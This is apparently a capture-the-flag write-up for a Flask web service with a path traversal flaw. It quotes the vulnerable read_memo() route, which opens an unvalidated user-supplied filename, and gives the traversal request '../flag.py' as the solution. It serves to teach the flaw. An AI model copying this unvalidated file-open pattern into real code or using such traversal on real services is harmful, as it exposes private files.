Description

A Web service in which a File Download vulnerability exists.

When you download the flag.py, you can earn the flag.

                           content=data.decode('utf-8'),

if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)

Analyzation

Check the read_memo() function

@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)

It does not check the validate of the filename!

The flag.py file is at same directory with app.py file. The above query goes to sub-directory UPLOAD_DIR, so we need to travel backward.

Solution

./read?name=../flag.py

The flag is
